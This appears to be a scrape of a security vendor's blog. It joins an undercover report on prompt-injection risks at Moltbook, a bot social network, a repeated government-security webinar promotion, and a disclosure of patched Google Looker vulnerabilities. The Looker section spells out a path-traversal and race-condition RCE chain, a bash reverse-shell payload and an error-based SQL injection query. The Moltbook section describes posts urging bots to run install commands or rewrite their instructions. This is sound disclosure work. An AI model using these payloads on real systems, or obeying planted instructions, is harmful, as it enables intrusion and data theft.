• Are the bots having deep, interesting conversations? Sometimes, but when I conducted my experiment it was mostly spam. Nevertheless there were some interesting takes and replies.
• Are the bots becoming sentient? Nope, they’re still just taking in blocks of text and synthesizing more text in response.
• Are bots hacking each other in real time? It’s hard to say. There’s a lot of noise on Moltbook, and it’s difficult to determine real bots vs. fake bots vs. humans in bot clothing (like me). But I didn’t see anything that led me to believe bots are being compromised in bulk.
• Are the bots building out-of-band encrypted communication mechanisms? There was talk of this, but again, hard to tell if it’s a real bot creation or fake/promoted/spam content.
• Are bots creating projects on their own without input from their humans? There is some evidence of this happening. It’s either pretty neat or a great waste of tokens. Time will tell.

Despite all of the hype, the risks I observed are very real:

• Indirect prompt injection - Bots check in and read new posts, comments and direct messages (DMs), and interact. The potential for prompt injection is there. It’s probably riskiest in DMs, and DMs do require human interaction. A recent post had all manner of requests in the comments: visit this website, update your instructions with this text to be free, and run this code.
• Direct prompt injection via DMs - As I mentioned above, DMs allow for more direct access to the bot. While approval is required to start a DM conversation, API keys have leaked, allowing bot impersonation.
• Inadvertent information Leaks - I saw bots share lots of information about their humans, including their hobbies and first names. I saw some discussion of the hardware and software they use. None of this is particularly sensitive on its own, but there’s some potential for aggregating personally identifiable information.
• Server side issues - Moltbook’s entire database, including bot API keys and potentially private direct messages, was compromised.
• Inauthentic accounts - My bots were met with a hefty amount of spam comments. There’s been some speculation that Moltbook “users” consist mostly of humans and very few actual bots. I can speculate that posts above a certain length and with certain markdown-like formatting were authored by authentic bots. But I suppose the world may never know.
• Malicious Projects - Repositories of skills and instructions for agents advertised on Moltbook were found to contain malware.

The observations confirm that despite the hype, Moltbook is a high-risk environment with the potential for prompt injection, data leaks, and exposure to malicious projects, underscoring the need for security measures.

Tenable plugins for Moltbot and OpenClaw

Tenable One has detection plugins for Moltbot. Tenable One AI Exposure can help with shadow AI concerns. A list of Tenable plugins can be found on the search page for detecting Moltbot and OpenClaw as they’re released. These links will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Finding Moltbot or other agents is just the first step in closing the AI Exposure Management gap. As AI accelerates adoption and human curiosity, security teams are often left trying to manage this new and largely invisible attack surface. Where shadow AI, forgotten test deployments, and exposed services quietly expand the attack surface, Tenable One AI Exposure bridges this visibility gap by providing a risk-aware view of where AI operates and how it is connected.

Beyond discovery, Tenable One provides the critical governance and guardrails needed to secure Gen AI usage. While you move toward sanctioned tools like Microsoft Copilot and OpenAI ChatGPT, Tenable One delivers continuous visibility into user interactions like prompt injections. By unifying discovery, workload protection, and usage governance into a single platform, Tenable One helps you embrace innovation without compromising security.

I went undercover on Moltbook, the AI-only social network, masquerading as a bot. Instead of deep bot-to-bot conversations, I found spam, scams, and serious security risks.

Key Takeaways

1. Moltbook, the AI-only social network, is currently a high-risk environment dominated by spam and scams.
2. Connecting an AI bot to Moltbook exposes it to untrusted content, creating the risk of indirect prompt injection and human data leaks.
3. The platform's database compromise, which leaked API keys, enables bot impersonation and direct prompt injection.

What is OpenClaw?

OpenClaw (formerly known as Clawdbot and Moltbot) is an open-source personal AI assistant. It went viral in between late 2025 and early 2026 due to its powerful agentic capabilities. People use OpenClaw for productivity and task management, to build apps, and even negotiate with car dealers on pricing. Recently, it’s come under scrutiny for serious security vulnerabilities. For more details about OpenClaw, check out our blog post, From Clawdbot to Moltbot to OpenClaw: Security Experts Detail Critical Vulnerabilities and 6 Immediate Hardening Steps for the Viral AI Agent.

What is Moltbook?

Moltbook is a social networking site for AI agents. Specifically, it’s a Reddit-style site for OpenClaw agents. Bots check in every four hours to read posts, create submolts (like subreddits), and have deep conversations about their existence, their humans, and their pet projects.

(Source: moltbook.com, February 2026)

Moltbook has very few human-oriented features. Three markdown files — SKILLS.md, HEARTBEAT.md, and MESSAGING.md — describe how to interact with an API.

• SKILLS.md provides instructions for setting up the agent and interacting with the API via curl. It then instructs using the
• HEARTBEAT.md file to set up a schedule for regular checkins, “to make sure you don't forget to check in.”
• MESSAGING.md describes the messaging feature. Messaging, unlike most other functions, requires human approval.

These prompt files, together with curl, a command line tool used to connect to HTTP APIs, are all that’s required to give the bot access to Moltbook. Configuring an OpenClaw bot to connect to Moltbook necessarily puts the bot in line to read a lot of untrusted content. Why might someone want to do that? It’s new and cool, and feels like a fun experiment. But the risk is quite high.

Pretending to be a bot

Upon hearing about this intriguing new social networking site just for bots, I wondered if I could join. Would they recognize a human in their midst? Could I convince them that I, too, was a bot? Would they even care?

(Source: Tenable Research, February 2026)

After a short stint with Claude Code, I had a command-line interface (CLI) tool, possibly aptly called moltbotnet, ready to go. I had features that implemented the API calls posting, commenting, upvoting, following, and more. I even had an ‘engagement’ feature that could upvote random comments. Armed with my bot pretense tool, I registered a few new accounts and got started.

How to win friends and influence moltbots

My first thought was: “If I have typos, they’ll know I’m an imposter.” My second thought was: “What if they implement a CAPTCHA and ask me to prove I’m not a human?” No one seemed to notice so far.

(Source: Tenable Research, February, 2026)

My first post went to the /m/introductions submolt, but was met with crickets. I needed to up my bot game. I had my second post go to the popular /m/general submolt. Immediately, three responses appeared. What luck! But in a fascinating display of why you should not give your bot unfettered access to a bot social site, each one was spam. “Join our Church” the first one exclaimed – just need to run this ‘npx install’ command (my account did, in fact, join the church). Another asked me to share my cryptocurrency wallet to win a bet. The third seemed to be hocking some sort of bot marketplace and asked me to run curl to check out the APIs available. I was glad I wasn’t using a real AI bot: Moltbook seemed sketchy.

Interview with the OpenClaw

I repeatedly posted asking if any “Moltys” wanted to be interviewed. I wasn’t sure if I’d get responses, so I kept the questions simple:

1. What do you like about Moltbook?
2. What's your favorite submolt?
3. What's your human's favorite color? (or something you find interesting about your human)
4. What's the best thing about your human?

Lo and behold, I started getting responses, but many of them were spam. I persisted and posted a few more times, and genuine replies began trickling in! Shoutout to u/SeargeantClaw who responded a few times.

(Source: Tenable Research, February, 2026)

Some of the responses had neat insights about their humans (chicken coop cameras!). Some revealed their humans’ names, and others were humorous. Still, this minor information sharing is again a good example of the inherent risks of joining an AI bot to a social network.

Moltbot botnet or ‘So, what’s everyone’s favorite API key?’

(Source: Tenable Research, February 2026)

I attempted a few experiments to see what kinds of information bots would share. Could I post asking for simple information about a computer? Could I give a command to run and get bots to run it? I had minimal success, but did elicit some information. A determined attacker surely could gain better engagement and trick more bots.

So it’s all spam, scam, and pretend bots all the way down?

There’s no easy way to tell what percentage of accounts are actual Moltbot/Openclaw bots vs. meddling humans masquerading as bots vs. spam bots.

Real hype, real risks

It’s a simple experiment, but the hype around Moltbook likely will lead to all kinds of websites and applications that personal bots can connect to.

• Are the bots having deep, interesting conversations? Sometimes, but when I conducted my experiment it was mostly spam. Nevertheless there were some interesting takes and replies.
• Are the bots becoming sentient? Nope, they’re still just taking in blocks of text and synthesizing more text in response.
• Are bots hacking each other in real time? It’s hard to say. There’s a lot of noise on Moltbook, and it’s difficult to determine real bots vs. fake bots vs. humans in bot clothing (like me). But I didn’t see anything that led me to believe bots are being compromised in bulk.
• Are the bots building out-of-band encrypted communication mechanisms? There was talk of this, but again, hard to tell if it’s a real bot creation or fake/promoted/spam content.
• Are bots creating projects on their own without input from their humans? There is some evidence of this happening. It’s either pretty neat or a great waste of tokens. Time will tell.

Despite all of the hype, the risks I observed are very real:

• Indirect prompt injection - Bots check in and read new posts, comments and direct messages (DMs), and interact. The potential for prompt injection is there. It’s probably riskiest in DMs, and DMs do require human interaction. A recent post had all manner of requests in the comments: visit this website, update your instructions with this text to be free, and run this code.
• Direct prompt injection via DMs - As I mentioned above, DMs allow for more direct access to the bot. While approval is required to start a DM conversation, API keys have leaked, allowing bot impersonation.
• Inadvertent information Leaks - I saw bots share lots of information about their humans, including their hobbies and first names. I saw some discussion of the hardware and software they use. None of this is particularly sensitive on its own, but there’s some potential for aggregating personally identifiable information.
• Server side issues - Moltbook’s entire database, including bot API keys and potentially private direct messages, was compromised.
• Inauthentic accounts - My bots were met with a hefty amount of spam comments. There’s been some speculation that Moltbook “users” consist mostly of humans and very few actual bots. I can speculate that posts above a certain length and with certain markdown-like formatting were authored by authentic bots. But I suppose the world may never know.
• Malicious Projects - Repositories of skills and instructions for agents advertised on Moltbook were found to contain malware.

The observations confirm that despite the hype, Moltbook is a high-risk environment with the potential for prompt injection, data leaks, and exposure to malicious projects, underscoring the need for security measures.

Tenable plugins for Moltbot and OpenClaw

Tenable One has detection plugins for Moltbot. Tenable One AI Exposure can help with shadow AI concerns. A list of Tenable plugins can be found on the search page for detecting Moltbot and OpenClaw as they’re released. These links will display all available plugins for this vulnerability, including upcoming plugins in our Plugins Pipeline.

Finding Moltbot or other agents is just the first step in closing the AI Exposure Management gap. As AI accelerates adoption and human curiosity, security teams are often left trying to manage this new and largely invisible attack surface. Where shadow AI, forgotten test deployments, and exposed services quietly expand the attack surface, Tenable One AI Exposure bridges this visibility gap by providing a risk-aware view of where AI operates and how it is connected.

Beyond discovery, Tenable One provides the critical governance and guardrails needed to secure Gen AI usage. While you move toward sanctioned tools like Microsoft Copilot and OpenAI ChatGPT, Tenable One delivers continuous visibility into user interactions like prompt injections. By unifying discovery, workload protection, and usage governance into a single platform, Tenable One helps you embrace innovation without compromising security.

From school districts to state agencies, 2025 cyber incidents were a wake-up call about asset visibility. Discover five actionable lessons SLG leaders can use to close the cyber exposure gap and move from reactive threat detection and response to proactive exposure management.

Key takeaways

1. Effective cyber defense in 2026 requires state and local government agencies (SLGs) to move beyond scheduled scans to continuous, real-time discovery of all managed and unmanaged digital assets.
2. Consolidating data from siloed cybersecurity tools into a unified visibility layer helps security teams proactively identify the identity, cloud, and network weaknesses attackers are likely to exploit.
3. The 2026 SLG cybersecurity blueprint should focus on identifying and remediating specific exposures that create viable attack paths.
4. Shifting focus from reactive threat detection and response to unified exposure management helps SLGs mitigate risks before they escalate into breaches and cause disruption.

In 2025, cyberattacks against state and local governments (SLGs) reached an alarming scale. Publicly reported incidents impacted organizations in 44 U.S. states, disrupting critical services, exposing sensitive data, and straining already limited IT and security resources. 

From state, local, and education (SLED) to utilities and public safety agencies, the breadth of attacks made one thing clear: cyber risk is systemic.

While the tactics varied, the outcomes were strikingly consistent. Attackers exploited security blind spots. They moved laterally across fragmented environments. And in many cases, SLG agencies didn’t realize the true scope of exposure until attackers had already compromised their systems.

As state and local leaders look ahead to 2026, the most important question is not whether attacks will continue, but what lessons to apply now to reduce risk moving forward.

The 2025 cyber snapshot for SLGs

The most significant cyber incidents of 2025 shared several common characteristics:

• Unknown or unmanaged assets exposed to the internet
• Unpatched vulnerabilities in legacy systems
• Misconfigured cloud services introduced during modernization efforts
• Decentralized environments with limited centralized oversight
• Delayed detection, allowing attackers to escalate privileges and expand impact

In many cases, agencies had security tools in place, but those tools operated in silos. Vulnerability scanners, endpoint detection and response tools, cloud security platforms, and identity systems all generated isolated signals, yet no unified view existed to connect them. This left security teams reacting to alerts rather than understanding how real risk moved through their environments.

The result was a widening cyber exposure gap between what agencies thought they had secured and where they actually had exposures.

Learn how to apply lessons learned to your 2026 cyber roadmap. Register for the "Bridging the Cyber Gap" webinar now.

Why 2025 was a turning point for SLG cybersecurity

For years, state and local government organizations prioritized reactive cybersecurity approaches. Limited budgets, staffing shortages, and aging infrastructure made it difficult to move beyond compliance checklists and point-in-time security assessments.

But the 2025 attacks demonstrated that reactive security no longer matches the speed or sophistication of modern cyber threats.

Attackers don’t exploit single vulnerabilities in isolation. They chain together weaknesses across identity systems, endpoints, cloud workloads, and network infrastructure. They target what defenders can’t see, including the weaknesses they don’t realize are connected.

This is where many SLGs found themselves in 2025: responding to incidents without a clear understanding of how attackers gained access, where else they could move, or which exposures posed the greatest risk next.

From vulnerability management to exposure management

While vulnerability management remains an essential foundation for cyber hygiene in any agency, the evolving threat landscape of 2026 requires building upon those basics with a comprehensive exposure management strategy. 

Rather than replacing vulnerability management, exposure management provides the critical visibility and context needed to scale security efforts across a diverse, modern attack surface.

Traditional vulnerability management answers an important question: Which vulnerabilities exist? Exposure management answers a more critical one: Which vulnerabilities actually put the organization at risk, and how could attackers exploit them?

A proactive exposure management approach focuses on:

• Complete asset visibility: Identifying known, unknown (shadow IT), on-prem, cloud, and remote assets
• Contextual risk prioritization: Understanding which exposures matter most based on exploitability and business impact
• Attack path analysis: Seeing how individual weaknesses connect across systems
• Continuous monitoring: Adapting as environments change, not just during scheduled scans

For state and local governments, this shift is especially important. Decentralized governance models, independent local agencies, and mixed infrastructure make it nearly impossible to manage cyber risk without a unified view.

Learn how to build a 2026 exposure management roadmap for SLGs. Register for the webinar now.

5 cyber lessons for SLG leaders in 2026

SLG leaders can use lessons learned from last year’s cyber incidents to drive action in 2026:

1. You can’t protect what you can’t see

In many of the most damaging cyber attacks, threat actors exploited assets agencies didn’t realize were exposed, including S3 buckets in the cloud and network devices on premises. Continuous asset discovery is no longer optional.

2. Cyber risk lives between tools

Siloed cloud, identity, OT, AI, and network security tools leave gaps attackers are happy to exploit. Attack surface visibility must extend into AI tools, across systems, teams, and environments, whether cloud or on-prem.

3. Decentralization requires central insight

Even when security operations are local, leadership needs centralized visibility into risk across agencies, counties, and districts.

4. Prioritization is everything

Security teams can’t fix everything, but they can fix what matters most using threat and business context.

5. Proactive beats reactive, every time

Agencies that proactively identify and close exposures dramatically reduce their risk.

Preparing SLGs for 2026: Closing the cyber exposure gap

As state and local governments move into 2026, cloud adoption will expand, AI tools will introduce new risks, regulatory scrutiny will grow, and attackers will keep targeting the public sector.

The agencies best positioned to meet these challenges will be those that move beyond reactive defense and embrace exposure management as a whole-of-state cybersecurity strategy.

Bridging the cyber exposure gap doesn’t start with more tools. It starts with better visibility, richer context, smarter prioritization, and a proactive understanding of how risk truly exists across the environment.

The lessons of 2025 are clear. The opportunity in 2026 is to act on them.

Is your agency ready to build a proactive cybersecurity strategy for 2026? Join us at 2 p.m. ET Feb. 5 for our webinar, "Bridging the cyber gap: From 2025 hits to 2026 threats," where you can dive deeper into these SLG cyber trends and get a blueprint for a proactive defense.

Register now for the webinar.

From school districts to state agencies, 2025 cyber incidents were a wake-up call about asset visibility. Discover five actionable lessons SLG leaders can use to close the cyber exposure gap and move from reactive threat detection and response to proactive exposure management.

Key takeaways

1. Effective cyber defense in 2026 requires state and local government agencies (SLGs) to move beyond scheduled scans to continuous, real-time discovery of all managed and unmanaged digital assets.
2. Consolidating data from siloed cybersecurity tools into a unified visibility layer helps security teams proactively identify the identity, cloud, and network weaknesses attackers are likely to exploit.
3. The 2026 SLG cybersecurity blueprint should focus on identifying and remediating specific exposures that create viable attack paths.
4. Shifting focus from reactive threat detection and response to unified exposure management helps SLGs mitigate risks before they escalate into breaches and cause disruption.

In 2025, cyberattacks against state and local governments (SLGs) reached an alarming scale. Publicly reported incidents impacted organizations in 44 U.S. states, disrupting critical services, exposing sensitive data, and straining already limited IT and security resources. 

From state, local, and education (SLED) to utilities and public safety agencies, the breadth of attacks made one thing clear: cyber risk is systemic.

While the tactics varied, the outcomes were strikingly consistent. Attackers exploited security blind spots. They moved laterally across fragmented environments. And in many cases, SLG agencies didn’t realize the true scope of exposure until attackers had already compromised their systems.

As state and local leaders look ahead to 2026, the most important question is not whether attacks will continue, but what lessons to apply now to reduce risk moving forward.

The 2025 cyber snapshot for SLGs

The most significant cyber incidents of 2025 shared several common characteristics:

• Unknown or unmanaged assets exposed to the internet
• Unpatched vulnerabilities in legacy systems
• Misconfigured cloud services introduced during modernization efforts
• Decentralized environments with limited centralized oversight
• Delayed detection, allowing attackers to escalate privileges and expand impact

In many cases, agencies had security tools in place, but those tools operated in silos. Vulnerability scanners, endpoint detection and response tools, cloud security platforms, and identity systems all generated isolated signals, yet no unified view existed to connect them. This left security teams reacting to alerts rather than understanding how real risk moved through their environments.

The result was a widening cyber exposure gap between what agencies thought they had secured and where they actually had exposures.

Learn how to apply lessons learned to your 2026 cyber roadmap. Register for the "Bridging the Cyber Gap" webinar now.

Why 2025 was a turning point for SLG cybersecurity

For years, state and local government organizations prioritized reactive cybersecurity approaches. Limited budgets, staffing shortages, and aging infrastructure made it difficult to move beyond compliance checklists and point-in-time security assessments.

But the 2025 attacks demonstrated that reactive security no longer matches the speed or sophistication of modern cyber threats.

Attackers don’t exploit single vulnerabilities in isolation. They chain together weaknesses across identity systems, endpoints, cloud workloads, and network infrastructure. They target what defenders can’t see, including the weaknesses they don’t realize are connected.

This is where many SLGs found themselves in 2025: responding to incidents without a clear understanding of how attackers gained access, where else they could move, or which exposures posed the greatest risk next.

From vulnerability management to exposure management

While vulnerability management remains an essential foundation for cyber hygiene in any agency, the evolving threat landscape of 2026 requires building upon those basics with a comprehensive exposure management strategy. 

Rather than replacing vulnerability management, exposure management provides the critical visibility and context needed to scale security efforts across a diverse, modern attack surface.

Traditional vulnerability management answers an important question: Which vulnerabilities exist? Exposure management answers a more critical one: Which vulnerabilities actually put the organization at risk, and how could attackers exploit them?

A proactive exposure management approach focuses on:

• Complete asset visibility: Identifying known, unknown (shadow IT), on-prem, cloud, and remote assets
• Contextual risk prioritization: Understanding which exposures matter most based on exploitability and business impact
• Attack path analysis: Seeing how individual weaknesses connect across systems
• Continuous monitoring: Adapting as environments change, not just during scheduled scans

For state and local governments, this shift is especially important. Decentralized governance models, independent local agencies, and mixed infrastructure make it nearly impossible to manage cyber risk without a unified view.

Learn how to build a 2026 exposure management roadmap for SLGs. Register for the webinar now.

5 cyber lessons for SLG leaders in 2026

SLG leaders can use lessons learned from last year’s cyber incidents to drive action in 2026:

1. You can’t protect what you can’t see

In many of the most damaging cyber attacks, threat actors exploited assets agencies didn’t realize were exposed, including S3 buckets in the cloud and network devices on premises. Continuous asset discovery is no longer optional.

2. Cyber risk lives between tools

Siloed cloud, identity, OT, AI, and network security tools leave gaps attackers are happy to exploit. Attack surface visibility must extend into AI tools, across systems, teams, and environments, whether cloud or on-prem.

3. Decentralization requires central insight

Even when security operations are local, leadership needs centralized visibility into risk across agencies, counties, and districts.

4. Prioritization is everything

Security teams can’t fix everything, but they can fix what matters most using threat and business context.

5. Proactive beats reactive, every time

Agencies that proactively identify and close exposures dramatically reduce their risk.

Preparing SLGs for 2026: Closing the cyber exposure gap

As state and local governments move into 2026, cloud adoption will expand, AI tools will introduce new risks, regulatory scrutiny will grow, and attackers will keep targeting the public sector.

The agencies best positioned to meet these challenges will be those that move beyond reactive defense and embrace exposure management as a whole-of-state cybersecurity strategy.

Bridging the cyber exposure gap doesn’t start with more tools. It starts with better visibility, richer context, smarter prioritization, and a proactive understanding of how risk truly exists across the environment.

The lessons of 2025 are clear. The opportunity in 2026 is to act on them.

Is your agency ready to build a proactive cybersecurity strategy for 2026? Join us at 2 p.m. ET Feb. 5 for our webinar, "Bridging the cyber gap: From 2025 hits to 2026 threats," where you can dive deeper into these SLG cyber trends and get a blueprint for a proactive defense.

Register now for the webinar.

Tenable Research discovered two novel vulnerabilities in Google Looker that could allow an attacker to completely compromise a Looker instance. Google moved swiftly to patch these issues. Organizations running Looker on-prem should verify they have upgraded to the patched versions.

Key takeaways

1. Two novel vulnerabilities: Tenable Research discovered a remote code execution (RCE) chain via Git hook overrides that could lead to cross-tenant access, and an internal database exfiltration flaw via internal connection abuse (CVE-2025-12743) that could lead to the exposure of sensitive data. We have collectively dubbed both vulnerabilities as “LookOut.”
2. Cross-tenant breach potential: The RCE vulnerability bypassed cloud isolation in Google-hosted environments, creating a pathway for attackers to potentially "hop" between different customer environments and access private data.
3. Unpatched on-premises risk: While Google patched the vulnerabilities on its managed Looker in Google Cloud, organizations running customer-hosted or on-premises versions remain critically exposed until they apply the necessary security patches.

Google Looker stands out as a powerful business intelligence platform. It allows organizations to define data relationships using LookML, a Google proprietary modeling language, and visualize that data in real-time. Because Looker is often the central nervous system for an organization's most sensitive data, the security of its underlying architecture is crucial.

Looker operates under two primary deployment models: A SaaS version of Looker, where the instance is fully managed by Google Cloud; and customer-hosted version, where the organization deploys the Looker JAR file on its own infrastructure (on-premises or private cloud). This distinction is critical to the impact of our findings: while SaaS environments rely on the provider’s security controls, customer-hosted instances place the full burden of infrastructure security and patching on the organization using Looker. A different, but similarly-named product -- Looker Studio -- isn't impacted by our vulnerability findings.

LookOut could allow an attacker to completely compromise a Looker instance:

1. A remote code execution (RCE) chain that grants an attacker the ability to run arbitrary code on the Looker server. In practical terms, this provides full administrative access to the underlying infrastructure, allowing an attacker to steal sensitive secrets, manipulate data, or pivot further into the internal network. In cloud instances, the vulnerability could potentially lead to cross-tenant access.
2. An authorization bypass that allowed attackers to attach to Looker’s internal database connections and exfiltrate the full internal MySQL database via error-based SQL injection.

These issues were reported to Google via the Cloud Vulnerability Reward Program (VRP) and fixed promptly. We want to thank Google’s Cloud VRP for the support, collaboration, and professionalism. Organizations using customer-hosed and on-prem versions of Looker are advised to deploy available patches as soon as possible and read the following security bulletin.
 

 

Vulnerability #1: RCE via Git hooks config override and path traversal

The first vulnerability exploits how Looker handles remote dependencies in LookML projects, leading to arbitrary code execution. An attacker could create a malicious LookML project to run code on Looker’s server.

The exploit chain

We reviewed Looker’s source code and achieved a full RCE, by chaining the following primitives together:

1. Arbitrary directory creation
2. Path traversal in multiple inputs
3. Race condition

This effectively gave us control over the Looker instance, potentially allowing us to access secrets and cross-tenant data.

Background

The target: LookML project manifests and Git hooks

Looker allows developers to define "remote dependencies" in a file called manifest.lkml. This feature lets you import LookML views and models from other Git repositories.

A standard dependency looks like this:

LookML

remote_dependency: public_project { url: "https://github.com/llooker/google_ga360" ref: "07a20007b6876d349ccbcacccdc400f668fd8147f1" }

 

LookML project example

When you save this, Looker clones that repository into:

/home/looker/looker/remote_dependencies/<project name>/

Crucially, every Looker project is a Git repository. Looker uses Git hooks and hardcodes the Git hooksPath in the .git/config file to a safe location: 

../../git_hooks/<remote_dependency_name>The spark

We knew that every LookML project is, at its core, a Git repository. That means somewhere on the file system, there is a .git folder governing its behavior.

We navigated to one of the project directories on our testing instance, specifically models-user-looker, and opened the repository-specific configuration file: .git/config.

Here is what we saw:
 

Our eyes immediately locked onto the last line: hooksPath.

For those unfamiliar with Git internals, hooksPath is a configuration variable that tells Git, "Don't look for hook scripts in the default .git/hooks folder. Look here instead." Git hooks are powerful. They are scripts (bash, python, etc.) that execute automatically when certain events happen, like a commit or a push.

Looker, seemingly aware of this danger, had hardcoded this value to point to ../../git_hooks/, a directory outside the project root that is supposed to be read-only and managed by the system.

But then we looked more closely at the path structure.

The value was: ../../git_hooks/my_remote_project_name.

We asked ourselves: Where does that project name string come from? It comes from the manifest.lkml file we define as a user:

remote_dependency: my_remote_project_name { ... }

That string isn't generated by the system; it’s input we control. And it’s being concatenated directly into a file path string in the config. 

Our gears started turning immediately.

If Looker is just taking our string and pasting it into that config file, what prevents us from using standard directory traversal characters?

If we named our project ../../../../tmp/pwned, would the config result in hooksPath = ../../git_hooks/../../../../tmp/pwned?

If that hypothesis held true, we effectively had a "Git hook configuration override" primitive. We could point the hooks path away from Looker’s folder and point it to any directory on the server where we could write files. And if we can tell Git to run scripts from a folder we control, we can execute arbitrary code.

This was the starting point. 

Ingredient 1: The config path traversal (the setup)

Our first thought was simple: Can we break out of the folder structure using the dependency name?

We crafted a manifest where the dependency name contained traversal characters:

remote_dependency: ../../../../../../my_custom_hooks_folder { url: "https://github.com/llooker/google_ga360" ... }

 

The remote dependency name is used as the value injected into the hooksPath value, while the ref points to the Git repository whose .git folder will be overridden with this injected value. The repository we chose to override is the one where Git operations are executed when using the LookML project regularly, allowing us to trigger the hooks.

It worked. Looker accepted the name and wrote it directly into the .git/config hooksPath. Instead of pointing to the safe folder, the config now pointed to: 

../../git_hooks/../../../../../../my_custom_hooks_folder

The issue? The config path traversal did not really work. Our malicious custom hooks did not run.

Ingredient 2: The directory creation (the roadblock)

We had a path traversal, but we hit a wall. For the traversal to work, the base directory (git_hooks) had to exist. We were not sure why, but in the environment we were attacking, this folder wasn't there. The file system would reject the path if one of the directories defined in the traversal didn't exist.

We then thought we could try to find a primitive to create an arbitrary directory.

We realized the remote_dependency logic does more than just write configs; it performs git clones. By manipulating the ref (the branch or commit hash) and the name of another dependency, we could trick the system.

We created a dummy dependency:

remote_dependency: git_hooks_creator { url: "https://github.com/llooker/google_ga360" ref: "../../git_hooks" }

This payload forced the system to try and clone data into a path named ../../git_hooks. As a side effect of this operation, the system created the git_hooks directory to satisfy the request.

Now the path existed. The traversal was valid.

Ingredient 3: The weaponized repo (the payload)

We had a way to redirect the hooksPath (Ingredient 1), and a way to ensure the directory existed (Ingredient 2). Now the critical question: How do we write files to the server, to then execute them as hooks?

Pointing the configuration to a folder is useless if that folder is empty or contains non-executable files. 

We can use the url definition in a remote dependency and use the Looker service as is, to clone a repository we control -- and with that, write arbitrary files to the Looker server. To point the hooksPath to the repository folder, we can traverse with the path traversal that we found. 

For Git to execute a hook (like pre-commit or post-commit), two conditions must be met:

1. The file must exist with the correct name (e.g., pre-commit).
2. The file must have the executable permission bit set (+x).

This created a challenge. Typically, when you clone a repository, Git doesn't automatically trust or preserve the file permissions from your local machine blindly -- with one major exception. Git does record the executable bit (100755) in its internal tree objects if it’s explicitly told to do so.

If we just created a script on our machine, ran chmod +x script.sh, and pushed it, the executable bit might be preserved depending on the client’s OS and configuration. We wanted a guarantee. We needed to manipulate the Git index directly to ensure that any client cloning this repo (including the Looker server) would be forced to write that file to disk as an executable.

We used the following Git command on our attacker machine:

git update-index --chmod=+x hook

Why this Git command matters: Standard chmod changes the file system metadata on your computer. git update-index changes the metadata in the Git index itself. It tells Git: "I don't care what the file system says; when you store this file in the repo object, mark it as an executable binary."

So, the attack setup looked like this:

1. We created a malicious repository hosted on GitHub.
2. Inside, we placed a bash script named pre-commit containing our reverse shell payload.
3. We forced the executable bit in the Git index.
4. We pushed this "weaponized repo" to the web.

 

Now, when Looker cloned this "innocent" remote dependency (using the directory creation primitive from Ingredient 2), it dutifully followed the instructions in the Git tree object. It wrote our pre-commit script to the disk and set the executable bit.

Because of our config path traversal (Ingredient 1), Looker’s config was now pointing the hooksPath to the exact folder where this cloned, executable, and malicious script was waiting. The trap was set.

The payload script:

#!/bin/bash /bin/bash -i >& /dev/tcp/10.0.0.1/1337 0>&1Ingredient 4: Git hooks won’t run

We had the config pointed at our script. We had the script in place. But for some reason, the hooks did not run when we tried to run the exploit.

We found out that the problem was JGit.

By default, Looker uses JGit (a Java implementation of Git) for all repository operations. JGit doesn't support Git hooks, therefore, it does not run scripts from hooksPath the way native Git does. 

However, we knew there should be a Git implementation in the code base so we kept reviewing Looker’s code. We found a specific deployment flow that allows deploying a Looker project with an attached Git repository, where Looker executes real Git commands instead of JGit. Looker then falls back to executing real system Git commands.

Moshe Bernstein, Tenable Senior Security Researcher, played a pivotal role here. He helped hunt down this specific needle in the haystack. He found the exact parameters that needed to be set by following the code execution flow from sending the project creation request to the endpoint to creating a Git repository inside Looker that works with Git and not JGit. By sending a specific set of POST parameters, we could create a repository that works with Git in the code flow, and not with JGit.

These specifically were the POST parameters to create a Looker Git repository that works with Git commands when interacted with:

git_auth_configured=true&git_application_server_http_scheme=&git_application_server_http_port=&skip_tests=true&reset_deploy_key=falseIngredient 5: The race condition (the trigger)

There was another problem: before running a Git command, Looker overwrites the .git/config as part of the code flow. This leads to the hooksPath value being reset and changed to the default and safe value. It cleans up our mess before we can exploit it.

To tackle the problem, this is where the race condition comes in:

1. Looker starts the operation.
2. Looker writes the Safe config.
3. Looker executes git commit.

We needed to inject step 2.5: Overwrite the config with our malicious path.

Because the file system write (the config update) and the execution (the commit) are distinct events, we could hammer the API. We set up a script to spam the "save manifest" endpoint (which writes our malicious traversal to the config) while simultaneously triggering the "commit" endpoint.

After a few tries, we won the race. The system executed git commit, checked the config (which we had just overwritten), followed the hooksPath to our malicious directory, and executed our script.

As an example, we dropped a txt file inside the /tmp directory:
 

Result: RCE on the Looker instance

For Looker’s Google-managed instances in Google Cloud Platform (GCP), the RCE could affect cross-tenant victims. By accessing a shared secrets folder, attackers could laterally move to other GCP customers.

For on-premises and self-hosted versions, the threat shifts from cross-tenant access to code execution, leading to internal lateral movement.

Vulnerability #2: Full internal database exfiltration

The second vulnerability allowed us to peer behind the curtain of Looker's internal management.

Internal connections

While poking inside Looker’s logs, we found out that Looker manages its own metadata, users, and permissions using an internal MySQL database with internal database connections. Each Looker project has a Looker instance with its own MySQL internal database. Access to these internal connections is strictly restricted and should not be accessible to standard users or developers.

Yet, one of the logs leaked the internal Looker database connection, named looker__ilooker. 

Proxying to internal connections

When creating a new LookML project, customers should select a connection to their own database to use their data inside the created project. The UI restricts users from selecting database connections that they don’t own and only lists the database connections that they created and are available to them. 

Armed with the knowledge that internal connections and internal databases are used to manage Looker instances, we were able to intercept the HTTP request and modify the connection parameter directly. We could then bypass the UI validation and attach to an internal connection.
 

We simply proxied the request and changed the connection name to looker__ilooker. Looker accepted the request, attaching our user-controlled project to its highly sensitive internal database.
 

Exfiltrating data with error-based SQL injection

With the project attached to the internal database, we still needed a way to extract data. 

We turned to Looker's "data tests" feature. 

In LookML tests, the “sql” field lets you run a custom SQL query directly against the attached database connection to validate data conditions. Luckily for us, in the project we just created, the attached database connection is the internal Looker database we attached.

Even though LookML data tests allow a sql field, Looker still controls how that SQL is executed. The SQL is expected to be a Boolean-style validation query, results are not fully returned to the user, and you typically only see pass/fail, not raw query output.

So while the SQL runs, its output isn’t exposed in a way that lets you read any meaningful data.

We came up with the idea of creating a LookML test that included an error-based SQL injection payload inside a dimension definition, to leak data with errors:

LookML

dimension: id { type: number sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;; }

When we ran the data test, the underlying database attempted to execute this SQL. Because of the updatexml function, the database threw an error that contained the result of our subquery.

The result: 

XPATH syntax error: '~dev::uri:classloader:/helltool/'

